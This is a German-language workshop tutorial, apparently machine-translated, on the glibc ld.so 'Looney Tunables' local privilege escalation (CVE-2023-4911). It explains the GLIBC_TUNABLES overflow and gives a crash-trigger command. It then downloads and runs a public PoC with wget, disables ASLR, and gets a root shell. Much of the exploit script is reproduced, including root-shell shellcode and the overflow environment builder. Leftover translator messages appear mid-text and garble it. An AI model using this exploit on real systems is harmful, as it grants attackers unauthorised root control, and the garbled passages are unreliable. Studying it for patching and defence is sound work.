
Looney Tunables Lokale Rechteausweitung (CVE-2023-4911) Workshop
Looney Tunables – Workshop zur lokalen Privilegienerweiterung (CVE-2023-4911) (nur für Bildungszwecke)
In der Informatik ist ein dynamischer Linker der Teil eines Betriebssystems, der die von einem ausführbaren Programm benötigten gemeinsam genutzten Bibliotheken lädt und verknüpft, wenn es ausgeführt wird, indem er den Inhalt der Bibliotheken aus dem permanenten Speicher in den RAM kopiert, Sprungtabellen füllt und Zeiger verschiebt.
Zum Beispiel haben wir ein Programm, das die openssl-Bibliothek verwendet, um einen md5-Hash zu berechnen:``` $ head md5_hash.c #include <stdio.h> #include <string.h> #include <openssl/md5.h>
ld.so parst die Binärdatei und versucht, eine mit <openssl/md5.h> zusammenhängende Bibliothek zu finden.```
$ ldd md5_hash
linux-vdso.so.1 (0x00007fffa530b000)
libcrypto.so.3 => /lib/x86_64-linux-gnu/libcrypto.so.3 (0x00007f19cda00000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f19cd81e000)
/lib64/ld-linux-x86-64.so.2 (0x00007f19ce032000)
Wie wir sehen können, findet sie die benötigte Krypto-Bibliothek unter /lib/x86_64-linux-gnu/libcrypto.so.3 Während des Programmstarts legt sie den Code dieser Bibliothek in den Prozess-RAM und verknüpft alle Referenzen auf diese Bibliothek.
Wenn ein Programm gestartet wird, untersucht dieser Lader zunächst das Programm, um festzustellen, welche gemeinsamen Bibliotheken es benötigt. Anschließend sucht er nach diesen Bibliotheken, lädt sie in den Speicher und verknüpft sie zur Laufzeit mit der ausführbaren Datei. Dabei löst der dynamische Lader Symbolreferenzen auf, wie etwa Verweise auf Funktionen und Variablen, und stellt sicher, dass alles für die Ausführung des Programms bereit ist. Aufgrund seiner Rolle ist der dynamische Lader in hohem Maße sicherheitskritisch, da sein Code mit erhöhten Rechten läuft, wenn ein lokaler Benutzer ein Programm mit set-user-ID oder set-group-ID startet.
Tunables sind eine Funktion in der GNU-C-Bibliothek, die es Anwendungsautoren und Distributionsbetreuern ermöglicht, das Laufzeitverhalten der Bibliothek an ihre Arbeitslast anzupassen. Sie sind als eine Reihe von Schaltern implementiert, die auf verschiedene Weise geändert werden können. Die derzeitige Standardmethode hierfür ist die Verwendung der Umgebungsvariable GLIBC_TUNABLES, indem sie auf eine Zeichenfolge aus durch Doppelpunkte getrennten name=value-Paaren gesetzt wird. Das folgende Beispiel aktiviert beispielsweise die malloc-Überprüfung und setzt die malloc-Trim-Schwelle auf 128 Bytes:``` GLIBC_TUNABLES=glibc.malloc.trim_threshold=128:glibc.malloc.check=3 export GLIBC_TUNABLES
Übergabe von `--list-tunables` an den dynamischen Loader, um alle Tunables mit Minimal- und Maximalwerten auszugeben:```
$ /lib64/ld-linux-x86-64.so.2 --list-tunables
glibc.rtld.nns: 0x4 (min: 0x1, max: 0x10)
glibc.elision.skip_lock_after_retries: 3 (min: 0, max: 2147483647)
glibc.malloc.trim_threshold: 0x0 (min: 0x0, max: 0xffffffffffffffff)
glibc.malloc.perturb: 0 (min: 0, max: 255)
glibc.cpu.x86_shared_cache_size: 0x100000 (min: 0x0, max: 0xffffffffffffffff)
glibc.pthread.rseq: 1 (min: 0, max: 1)
glibc.cpu.prefer_map_32bit_exec: 0 (min: 0, max: 1)
glibc.mem.tagging: 0 (min: 0, max: 255)
Ganz am Anfang seiner Ausführung ruft ld.so __tunables_init() auf, um die Umgebung zu durchlaufen (in Zeile 279), und sucht nach GLIBC_TUNABLES-Variablen (in Zeile 282); für jede GLIBC_TUNABLES, die es findet, erstellt es eine Kopie dieser Variablen (in Zeile 284), ruft parse_tunables() auf, um diese Kopie zu verarbeiten und zu bereinigen (in Zeile 286), und ersetzt schließlich die ursprüngliche GLIBC_TUNABLES durch diese bereinigte Kopie (in Zeile 288):```C // (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c) 269 void 270 __tunables_init (char **envp) 271 { 272 char *envname = NULL; 273 char *envval = NULL; 274 size_t len = 0; 275 char **prev_envp = envp; ... 279 while ((envp = get_next_env (envp, &envname, &len, &envval, 280 &prev_envp)) != NULL) 281 { 282 if (tunable_is_name ("GLIBC_TUNABLES", envname)) // searching for GLIBC_TUNABLES variables 283 { 284 char new_env = tunables_strdup (envname); 285 if (new_env != NULL) 286 parse_tunables (new_env + len + 1, envval); // 287 / Put in the updated envval. */ 288 *prev_envp = new_env; 289 continue; 290 }
Das erste Argument von parse_tunables() (tunestr) zeigt auf die bald bereinigte Kopie von GLIBC_TUNABLES, während das zweite Argument (valstring) auf die ursprüngliche GLIBC_TUNABLES-Umgebungsvariable (im Stack) zeigt. Um die Kopie von GLIBC_TUNABLES zu bereinigen (die die Form "tunable1=`aaa:tunable2=bbb"` haben sollte), entfernt parse_tunables() alle gefährlichen Tunables (die SXID_ERASE-Tunables) aus tunestr, behält jedoch SXID_IGNORE- und NONE-Tunables bei (in Zeilen 221-235):```C
// (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c)
162 static void
163 parse_tunables (char *tunestr, char *valstring)
164 {
...
168 char *p = tunestr;
169 size_t off = 0;
170
171 while (true)
172 {
173 char *name = p;
174 size_t len = 0;
175
176 /* First, find where the name ends. */
177 while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
178 len++;
179
180 /* If we reach the end of the string before getting a valid name-value
181 pair, bail out. */
182 if (p[len] == '\0')
183 {
184 if (__libc_enable_secure)
185 tunestr[off] = '\0';
186 return;
187 }
188
189 /* We did not find a valid name-value pair before encountering the
190 colon. */
191 if (p[len]== ':')
192 {
193 p += len + 1;
194 continue;
195 }
196
197 p += len + 1;
198
199 /* Take the value from the valstring since we need to NULL terminate it. */
200 char *value = &valstring[p - tunestr];
201 len = 0;
202
203 while (p[len] != ':' && p[len] != '\0')
204 len++;
205
206 /* Add the tunable if it exists. */
207 for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
208 {
209 tunable_t *cur = &tunable_list[i];
210
211 if (tunable_is_name (cur->name, name))
212 {
...
219 if (__libc_enable_secure)
220 {
221 if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
222 {
223 if (off > 0)
224 tunestr[off++] = ':';
225
226 const char *n = cur->name;
227
228 while (*n != '\0')
229 tunestr[off++] = *n++;
230
231 tunestr[off++] = '=';
232
233 for (size_t j = 0; j < len; j++)
234 tunestr[off++] = value[j];
235 }
236
237 if (cur->security_level != TUNABLE_SECLEVEL_NONE)
238 break;
239 }
240
241 value[len] = '\0';
242 tunable_initialize (cur, value);
243 break;
244 }
245 }
246
247 if (p[len] != '\0')
248 p += len + 1;
249 }
250 }
Leider gilt: Wenn eine GLIBC_TUNABLES-Umgebungsvariable die Form "tunable1=tunable2=AAA" hat (wobei "tunable1" und "tunable2" SXID_IGNORE-Tunables sind, zum Beispiel "glibc.malloc.mxfast"), dann:
während der ersten Iteration der "while (true)" in parse_tunables(), wird die gesamte "tunable1=tunable2=AAA" direkt in tunestr kopiert (in Zeilen 221-235), wodurch tunestr vollständig gefüllt wird;
in den Zeilen 247-248 wird p nicht erhöht (p[len] ist '\0', weil kein ':' in den Zeilen 203-204 gefunden wurde), und daher zeigt p weiterhin auf den Wert von "tunable1", d.h. "tunable2=AAA";
während der zweiten Iteration der "while (true)" in parse_tunables(), wird "tunable2=AAA" (als wäre es ein zweites Tunable) an tunestr angehängt (das bereits voll ist), wodurch tunestr überläuft.
Befehl:```bash
$ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=printf '%08192x' 1" /usr/bin/su --help
Segmentation fault (core dumped)
Es wurde kein Quelltext zum Übersetzen bereitgestellt. Bitte sende den Inhalt von Chunk 15 erneut.```
GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A Z=000000000000000000000000000000000000000000000000000000000000000000000000000000000000<SNIP>00000000000000000001
Diese Schwachstelle ist ein einfacher Pufferüberlauf, aber was sollten wir überschreiben, um beliebige Codeausführung zu erreichen? Der Puffer, den wir überlaufen lassen, wird in Zeile 284 von tunables_strdup() allokiert, einer Neuimplementierung von strdup(), die die __minimal_malloc() von ld.so anstelle der malloc() von glibc verwendet (tatsächlich ist die malloc() von glibc noch nicht initialisiert). Diese __minimal_malloc()-Implementierung ruft einfach mmap() auf, um mehr Speicher vom Kernel zu erhalten.
Schauen wir uns diesen Code an:```C 56 struct link_map * 57 _dl_new_object (char *realname, const char *libname, int type, 58 struct link_map *loader, int mode, Lmid_t nsid) 59 { .. 84 struct link_map *new; 85 struct libname_list *newname; .. 92 new = (struct link_map *) calloc (sizeof (*new) + audit_space 93 + sizeof (struct link_map *) 94 + sizeof (*newname) + libname_len, 1); 95 if (new == NULL) 96 return NULL; 97 98 new->l_real = new; 99 new->l_symbolic_searchlist.r_list = (struct link_map **) ((char *) (new + 1) 100 + audit_space); 101 102 new->l_libname = newname 103 = (struct libname_list *) (new->l_symbolic_searchlist.r_list + 1); 104 newname->name = (char ) memcpy (newname + 1, libname, libname_len); 105 / newname->next = NULL; We use calloc therefore not necessary. */
##### Überschreiben von Zeigern der gleich zugewiesenen link_map-Struktur
>ld.so weist den Speicher für diese link_map-Struktur mit calloc() zu und initialisiert daher verschiedene ihrer Member nicht explizit mit Null; dies ist eine sinnvolle Optimierung. Wie bereits erwähnt, handelt es sich bei calloc() hier nicht um das calloc() der glibc, sondern um ld.sos __minimal_calloc(), das __minimal_malloc() aufruft, *ohne* den zurückgegebenen Speicher explizit mit Null zu initialisieren; auch dies ist eine sinnvolle Optimierung, da __minimal_malloc() praktisch immer einen sauberen, per mmap() zugewiesenen Speicherblock zurückgibt, dessen Initialisierung auf Null vom Kernel garantiert wird.
>
> Leider erlaubt es uns der Pufferüberlauf in parse_tunables(), sauberen, per mmap() zugewiesenen Speicher mit Nicht-Null-Bytes zu überschreiben und dadurch Zeiger der gleich zugewiesenen link_map-Struktur mit Nicht-NULL-Werten zu überschreiben. Dadurch können wir die Logik von ld.so vollständig brechen, die annimmt, dass diese Zeiger NULL sind.
#### Idee des Überlaufs
> Wir stellten fest, dass viele weitere Zeiger in der link_map-Struktur nicht explizit auf NULL initialisiert sind; insbesondere die Zeiger auf Elf64_Dyn-Strukturen im l_info[]-Array von Zeigern. Unter diesen stach `l_info[DT_RPATH]`, der „Bibliothekssuchpfad“, sofort hervor: Wenn wir diesen Zeiger überschreiben und kontrollieren, wohin und worauf er zeigt, können wir ld.so zwingen, einem Verzeichnis zu vertrauen, das uns gehört, und dadurch unsere eigene libc.so.6- oder LD_PRELOAD-Bibliothek aus diesem Verzeichnis zu laden und beliebigen Code auszuführen (als root, wenn wir ld.so über ein SUID-root-Programm ausführen).
> Wohin sollte der überschriebene `l_info[DT_RPATH]` zeigen? Die einfache Antwort auf diese Frage lautet: auf den Stack; genauer gesagt auf unsere Umgebungszeichenketten im Stack. Unter Linux wird der Stack in einem 16-GB-Bereich randomisiert, und unsere Umgebungszeichenketten können bis zu 6 MB belegen (_STK_LIM / 4 * 3, in bprm_stack_limits() des Kernels): Nach 16 GB / 6 MB = 2730 Versuchen haben wir eine gute Chance, die Adresse unserer Umgebungszeichenketten zu erraten (in unserem Exploit überschreiben wir `l_info[DT_RPATH]` immer mit 0x7ffdfffff010, der Mitte des randomisierten Stack-Bereichs). In unseren Tests dauert dieser Brute-Force-Versuch auf Debian ~30 s und auf Ubuntu und Fedora ~5 min (wegen ihrer automatischen Crash-Handler, Apport und ABRT; wir haben nicht versucht, diese Verlangsamung zu umgehen).
> Worauf sollte der überschriebene l_info[DT_RPATH] zeigen?
> In unserem Exploit füllen wir unsere 6 MB an Umgebungszeichenketten einfach mit 0xfffffffffffffff8 (-8), denn bei einem Offset von -8 B unterhalb der String-Tabelle der meisten SUID-root-Programme erscheint die Zeichenkette "\x08": Das zwingt ld.so, einem relativen Verzeichnis namens "\x08" (in unserem aktuellen Arbeitsverzeichnis) zu vertrauen, und erlaubt uns daher, unsere eigene libc.so.6- oder LD_PRELOAD-Bibliothek aus diesem Verzeichnis als root zu laden und auszuführen.
Schema:
<img src="https://assets.kitploit.com/production/public/readmes/37285/2a2a7aefd5313512ebb1ce9163f9c08efeb0c28f90742be80186ba3e3d72db5b.png" width="1000" />
#### "\x08"-Byte bei Offset -8 in .DYNSTR:

## PoC LPE:
Ich verwende meinen alten Kali-Linux-Snapshot, um den PoC zu testen. Lass uns prüfen, ob er verwundbar ist:```bash
[~/cve]$ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
[1] 7995 segmentation fault env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" /usr/bin/s
Wir haben SIGSEGV erhalten, also ist unser System anfällig für diese CVE-LPE!
Lass uns das PoC-Skript herunterladen und testen:``` [~/cve]$ wget -q https://haxx.in/files/gnu-acme.py
[~/cve]$ python3 gnu-acme.py
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6 [i] suid target = /usr/bin/su, suid_args = ['--help'] [i] ld.so = /lib64/ld-linux-x86-64.so.2 [i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3 [i] __libc_start_main = 0x27700 [i] using hax path b'\x08' at offset -8 [i] wrote patched libc.so.6 error: no target info found for build id e664396d7c25533074698a0695127259dbbf56f3
Also, unsere Build-ID von ld.so ist nicht in der Liste der Ziele, beheben wir das!
ASLR deaktivieren:```bash
[~/cve]$ sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"
Überprüfen Sie erneut:``` [~/cve]$ python3 gnu-acme.py
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6 [i] suid target = /usr/bin/su, suid_args = ['--help'] [i] ld.so = /lib64/ld-linux-x86-64.so.2 [i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3 [i] __libc_start_main = 0x27700 [i] using hax path b'\x08' at offset -8 [i] wrote patched libc.so.6 [i] ASLR is not enabled, attempting to find usable offsets [i] using stack addr 0x7fffffffe10c found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 561 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 562 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 563 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 564 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 565 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 566 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 567 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 568
Unser POC-Skript findet also einen nützlichen Offset. Fügen wir unsere ld.so-Build-ID und den Offset zum Skript hinzu:

ASLR wiederherstellen:```bash
[~/cve]$ sudo bash -c "echo 1 > /proc/sys/kernel/randomize_va_space"
Versuchen wir das PoC-Skript erneut:``` [~/cve]$ python3 gnu-acme.py
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6 [i] suid target = /usr/bin/su, suid_args = ['--help'] [i] ld.so = /lib64/ld-linux-x86-64.so.2 [i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3 [i] __libc_start_main = 0x27700 [i] using hax path b'\x08' at offset -8 [i] wrote patched libc.so.6 [i] using stack addr 0x7ffe1010100c .........................................................................................................................................................................................................................................................................................................................................# ** ohh... looks like we got a shell? **
whoami root
uid=0(root)
Es funktioniert!
Es funktioniert auch mit anderen SUID-Dateien:```bash
[~/cve]$ find /usr/bin/ -perm -u=s -type f 2>/dev/null
<SNIP>
/usr/bin/mount
<SNIP>
I'm ready to translate the provided chunk, but no content was included in the input after "INPUT:". Please provide the chunk text you'd like translated, and I'll translate it from English to German following all the specified rules.``` [~/cve]$ python3 gnu-acme.py /usr/bin/mount --help
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6 [i] suid target = /usr/bin/mount, suid_args = ['--help'] [i] ld.so = /lib64/ld-linux-x86-64.so.2 [i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3 [i] __libc_start_main = 0x27700 [i] using hax path b'\x08' at offset -8 [i] wrote patched libc.so.6 [i] using stack addr 0x7ffe10101009 ....................................................................................................................................................................................................................................................................................................................................................................................................................................# ** ohh... looks like we got a shell? **
id uid=0(root)
### Schauen wir uns also das PoC-Skript an:
Am Anfang des PoC-Skripts haben wir das Wörterbuch ARCH mit einigen **Prozessorarchitekturen** (ich habe nur x86_64 belassen, da ich es verwende).
In diesem Wörterbuch haben wir
* "shellcode": um ""/bin/sh" mit Root-Rechten zu starten
* "exitcode": es ist ebenfalls Shellcode, führt aber exit(0x66) aus
* "stack_top": es ist die maximal mögliche Adresse des Stacks auf x86_64
* "stack_aslr_bits": sind die Entropie-Bits auf x86_64 (Bits, die durch ASLR verändert werden)```python
# This code is written by blasty <[email protected]>, I just commented it to figure it out
# ORIGINAL POC SCRIPT -> https://haxx.in/files/gnu-acme.py
import binascii
# <SNIP>
from shutil import which
unhex = lambda v: binascii.unhexlify(v.replace(" ", ""))
ARCH = {
"x86_64": {
"shellcode": unhex(
"31ff6a69580f0531ff6a6a580f056a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05"
), # MODIFIED: context.arch = 'amd64'; asm(shellcraft.setuid(0) + shellcraft.setgid(0) + shellcraft.sh()).hex()
"exitcode": unhex("6a665f6a3c580f05"), # asm(shellcraft.exit(0x66)).hex()
"stack_top": 0x800000000000,
"stack_aslr_bits": 30, # https://www.researchgate.net/figure/Comparative-summary-of-bits-of-entropy_tbl3_334618410
}
}
Shellcode-Disassemblierung```nasm 0: 31 ff xor edi, edi 2: 6a 69 push 0x69 4: 58 pop rax 5: 0f 05 syscall
7: 31 ff xor edi, edi 9: 6a 6a push 0x6a b: 58 pop rax c: 0f 05 syscall
e: 6a 68 push 0x68 10: 48 b8 2f 62 69 6e 2f 2f 2f 73 movabs rax, 0x732f2f2f6e69622f 1a: 50 push rax 1b: 48 89 e7 mov rdi, rsp 1e: 68 72 69 01 01 push 0x1016972 23: 81 34 24 01 01 01 01 xor DWORD PTR [rsp], 0x1010101 2a: 31 f6 xor esi, esi 2c: 56 push rsi 2d: 6a 08 push 0x8 2f: 5e pop rsi 30: 48 01 e6 add rsi, rsp 33: 56 push rsi 34: 48 89 e6 mov rsi, rsp 37: 31 d2 xor edx, edx 39: 6a 3b push 0x3b 3b: 58 pop rax 3c: 0f 05 syscall
Exitcode disassemble```nasm
0: 6a 66 push 0x66
2: 5f pop rdi
3: 6a 3c push 0x3c
5: 58 pop rax
6: 0f 05 syscall
Als Nächstes haben wir ein Dictionary mit Zielen (ld.so-Build-ID) und deren Buffer-Overflow-Offsets.```python TARGETS = { "e664396d7c25533074698a0695127259dbbf56f3": 568 }
Dann gibt es viele Funktionen, die nach dem benannt sind, was sie tun, und größtenteils können sie durch Methoden aus der pwntools-Bibliothek ersetzt werden. Ich sehe also keinen Sinn darin, sie im Detail zu besprechen, außer einigen von ihnen.```python
# TARGETS[ld_build_id], stack_addr, hax_path["offset"], suid_e.bits
def build_env(adjust, addr, offset, bits=64):
# heap meh shui
if bits == 64:
env = [ # Actual vulnerability exploit (buffer overflow)
b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"P" * adjust,
b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 8,
b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 7,
b"GLIBC_TUNABLES=glibc.mem.tagging=" + b"Y" * 24,
]
pad = 172
fill = 47
else:
env = [
b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"P" * adjust,
b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 7,
b"GLIBC_TUNABLES=glibc.mem.tagging=" + b"X" * 14,
]
pad = 87
fill = 47 * 2
for j in range(pad): # fill buffer with NULL bytes to NOT overwrite nothing except what we want
env.append(b"")
if bits == 64: # overwrite l_info[DT_RPATH] pointer with pointer to stack
env.append(struct.pack("<Q", addr))
env.append(b"")
else:
env.append(struct.pack("<L", addr))
for i in range(384): # fill buffer with NULL bytes to NOT overwrite nothing except what we want
env.append(b"")
for i in range(fill): # write a lot of "-8" bytes to stack to force DT_RPATH use offset -8 in .DYNSTR
if bits == 64:
env.append(
struct.pack("<Q", offset & 0xFFFFFFFFFFFFFFFF) * 16382 + b"\xaa" * 7
)
else:
env.append(struct.pack("<L", offset & 0xFFFFFFFF) * 16382 + b"\xaa" * 7)
env.append(None)
return env
if __name__ == "__main__":
banner() # just print bunner
machine = os.uname().machine # uname of machine
if machine not in ARCH.keys():
error("architecture '%s' not supported" % machine)
print("[i] libc = %s" % lib_path("c").decode()) # print libc path
if len(sys.argv) == 1: # check if user pass SUID binary as args, if no use "su" binary
suid_path = which("su")
suid_args = ["--help"]
else:
suid_path = sys.argv[1]
suid_args = sys.argv[2:]
lsb = ((0x100 - (len(suid_path) + 1 + 8)) & 7) + 8 # Some value
print(f"[DEBUG] -> LSB: {lsb}")
print("[i] suid target = %s, suid_args = %s" % (suid_path, suid_args)) # print suid binary path with args
suid_e = lazy_elf(suid_path) # generate lazy_elf object with SUID binary
ld_path = suid_e.section_by_name(".interp").strip(b"\x00").decode() # get ld_path from suid binary .interp section
ld_e = lazy_elf(ld_path) # generate lazy_elf object with ld.so binary
print("[i] ld.so = %s" % ld_path) # print ld.so path
ld_build_id = binascii.hexlify( # get ld.so build id from ".note.gnu.build-id" section
ld_e.section_by_name(".note.gnu.build-id")[-20:]
).decode()
print("[i] ld.so build id = %s" % ld_build_id) # print ld.so build id
libc_e = lazy_elf(lib_path("c")) # generate lazy_elf object with libc.so.6 binary
__libc_start_main = libc_e.symbol("__libc_start_main") # find offset of __libc_start_main function in libc
if __libc_start_main == None: # if can't find __libc_start_main
error("could not resolve __libc_start_main")
print("[i] __libc_start_main = 0x%x" % __libc_start_main) # print offset of __libc_start_main
offset = suid_e.shdr_by_name(".dynstr")["offset"] # Find offset of .dynstr section
print(f"[DEBUG] -> .DYNSTR offset: {offset}")
hax_path = find_hax_path(suid_e.d, offset) # find value and offset in .dynstr to make trusted folder. It will be "\x08" at offset -8 ( [.dynstr - 8] )
if hax_path is None: # error if not find hax
error("could not find hax path")
print( # print hax
"[i] using hax path %s at offset %d"
% (
hax_path["path"],
hax_path["offset"],
)
)
if not os.path.exists(hax_path["path"]): # create folder ("\x08" to place libc there later)
os.mkdir(hax_path["path"])
argv = build_argv([suid_path] + suid_args) # just get array of arguments ( ["su", "--help", None] )
shellcode = ( # get shellcode (to spawn /bin/sh) or get exitcode which returns 0x66 if executed
ARCH[machine]["shellcode"] if is_aslr_enabled() else ARCH[machine]["exitcode"]
)
with open(hax_path["path"] + b"/libc.so.6", "wb") as fh: # open folder "\x08" and write patched (with shellcode) libc.so.6 there
fh.write(libc_e.d[0:__libc_start_main]) # all before __libc_start_main
fh.write(shellcode) # shellcode
fh.write(libc_e.d[__libc_start_main + len(shellcode) :]) # all after shellcode
print("[i] wrote patched libc.so.6")
if not is_aslr_enabled(): # if ASLR is not enabled
print("[i] ASLR is not enabled, attempting to find usable offsets")
stack_addr = ARCH[machine]["stack_top"] - 0x1F00
stack_addr += lsb
print("[i] using stack addr 0x%x" % stack_addr)
for adjust in range(128, 1024):
env = build_env(adjust, stack_addr, hax_path["offset"], suid_e.bits)
r = spawn(suid_path.encode(), argv, env)
if r == 0x66:
print(
"found working offset for ld.so '%s' -> %d" % (ld_build_id, adjust)
)
else:
if ld_build_id not in TARGETS.keys(): # check if ld.so build id in TARGET list (check if we know ofsset to overflow)
error("no target info found for build id %s" % ld_build_id)
stack_addr = ARCH[machine]["stack_top"] - ( # calculate minimum address of stack
1 << (ARCH[machine]["stack_aslr_bits"] - 1)
)
# In [11]: hex(1 << 29)
# Out[11]: '0x20000000'
# In [12]: hex(0x800000000000 - 0x20000000)
# Out[12]: '0x7fffe0000000'
print(f"[DEBUG] -> STACK ADDR: {hex(stack_addr)}")
stack_addr += lsb
# avoid NULL bytes in guessy addr (out of sheer laziness really)
for i in range(6 if suid_e.bits == 64 else 4): # some calculations to find usable offset in stack
if (stack_addr >> (i * 8)) & 0xFF == 0:
stack_addr |= 0x10 << (i * 8)
print("[i] using stack addr 0x%x" % stack_addr)
env = build_env( # create malicious environment variables (with overflow and stack overwrite)
TARGETS[ld_build_id], stack_addr, hax_path["offset"], suid_e.bits
)
# print(f"[DEBUG] -> ENV: {env}")
cnt = 1
while True:
if cnt % 0x10 == 0: # print "." every 10 executions
sys.stdout.write(".")
sys.stdout.flush()
if spawn(suid_path.encode(), argv, env) == 0x1337: # spawn process of SUID with malicious environment variables
print("goodbye. (took %d tries)" % cnt)
exit(0)
cnt += 1
Tabelle mit ASLR-Entropie auf verschiedenen Architekturen:
